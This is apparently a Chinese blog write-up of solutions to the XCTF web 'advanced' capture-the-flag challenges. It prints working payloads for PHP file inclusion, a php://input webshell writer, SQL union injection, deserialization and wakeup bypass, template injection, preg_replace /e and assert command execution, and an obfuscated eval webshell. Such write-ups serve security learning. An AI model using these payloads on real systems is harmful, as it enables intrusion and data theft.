攻防世界web进阶(第一页)

php_rce

利用peiqi Thinkphp 一键getshell 得flag

Web_php_include

源码如下

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

php://过滤了 尝试使用 data:协议

page=data://text/plain,<?system(%27nl%20fl4gisisish3r3.php%27);?>

查看源码得到flag

补充

php://协议

php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
php://input + [POST DATA]执行php代码

如果有权限的话 可以利用此协议写入一句话

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

data://协议 也是来执行php代码的 和php:input差不多 但用法不同

  • 作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

  • 用法:

    data://text/plain,
    data://text/plain;base64,
    

ics-06

随便点到index.php?id=4 网页下 用bp 爆破对应的 id 数 得到flag

warmup

代码如下

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

首先访问hint.php 最后payload为: ?file=source.php?../…/…/…/…/ffffllllaaaagggg

就注意这个点吧

如果定义了路径,就会忽视 前面字符串 去找你写的../../../../../ffffllllaaaagggg

NewsCenter

一点过滤都没有

sqlmap 一把梭

或者手工post

search=-1'union select 1,group_concat(id,fl4g),3 from secret_table#

得到flag

NaNNaNNaNNaN-Batman

下载下来是乱码文件,不懂了搜了一下, 加一个alert()函数将其弹窗就行了

格式一下代码

function $() {
	var e = document.getElementById("c").value;
	if (e.length == 16) if (e.match(/^be0f23/) != null) if (e.match(/233ac/) != null) if (e.match(/e98aa$/) != null) if (e.match(/c7be9/) != null) {
		var t = ["fl", "s_a", "i", "e}"];
		var n = ["a", "_h0l", "n"];
		var r = ["g{", "e", "_0"];
		var i = ["it'", "_", "n"];
		var s = [t, n, r, i];
		for (var o = 0; o < 13; ++o) {
			document.write(s[o % 4][0]);
			s[o % 4].splice(0, 1)
		}
	}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _

浏览器console 一下 就行了

PHP2

index.phps 得到源码

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

在index.php下进行操作

将a编码一下 就可,因为网页自动会解码一次,所以这里要编码两次

?id=%2561dmin

unserialize3

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

绕过wake_up 函数 只需要 参数个数大于实际参数个数就行 这里1 改成2

upload1

简单传个一句话木马 蚁剑连

Web_php_unserialize

代码如下

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

反序列化构造

<?php

class Demo {
    private $file = 'fl4g.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}

$A = new Demo('fl4g.php');
$C = serialize($A);
echo $C;


$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
var_dump(base64_encode($C));

easytornado

tornado模板注入

msg=Error存在 注入点

利用{{handler.settings}}拿到cookie

pylaod为

echo md5('f20b584e-691b-4d64-9ca0-a08a89227b6e'.md5('/fllllllllllllag'));

得到flag

shrine

ssTI 注入

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

ics-05

一乍看[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NV87YbCs-1628162400596)(C:\Users\ASUS\Desktop\QQ截图20210805143017.png)]没啥发现

点进去

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Mwi5ayDW-1628162400598)(C:\Users\ASUS\Desktop\QQ截图20210805143032.png)]

发现这里有文件包含点

?page=php:filter/read=convert.base64-encode/resource=index.php

读源码


//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}


x-forwarded-for:127.0.0.1

这里我们先进行伪造,进入

这里估计是利用 preg_replace /e的命令执行漏洞了, 前提是低版本php

?pat=/e&rep=system('ls')&sub=123

前提是能执行此函数也就是说 匹配的字符串中要含有查找的内容

查找flag

GET /index.php?pat=/12/e&rep=system("find+-name+flag")&sub=12

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ju97NWMK-1628162400600)(C:\Users\ASUS\Desktop\QQ截图20210805145625.png)]

pat=/12/e&rep=system("ls+./s3chahahaDir/flag")

得到>flag.php

cat+./s3chahahaDir/flag/flag.php

得到flag

cyberpeace{3dc3d7735954e387edcd0ff7936d222b}

mfw

看见有page= 尝试文件包含无果

在about 界面中看见 git

用dirsearch 扫一下 发现 .git 文件泄露

GitHack.py 得到源码

重点在这

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
//这里的思路是将其闭合,然后assert(执行命令)
//尝试构造   
//page=aac') or system(phpinfo());//
//page=abc') or system("cat templates/flag.php");//
?>

assert 起到 命令执行的作用

记极客大挑战 rceme 的题目pyload

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d;
 ?>
————————————————
版权声明:本文为CSDN博主「末 初」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/mochu7777777/article/details/105136633/
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值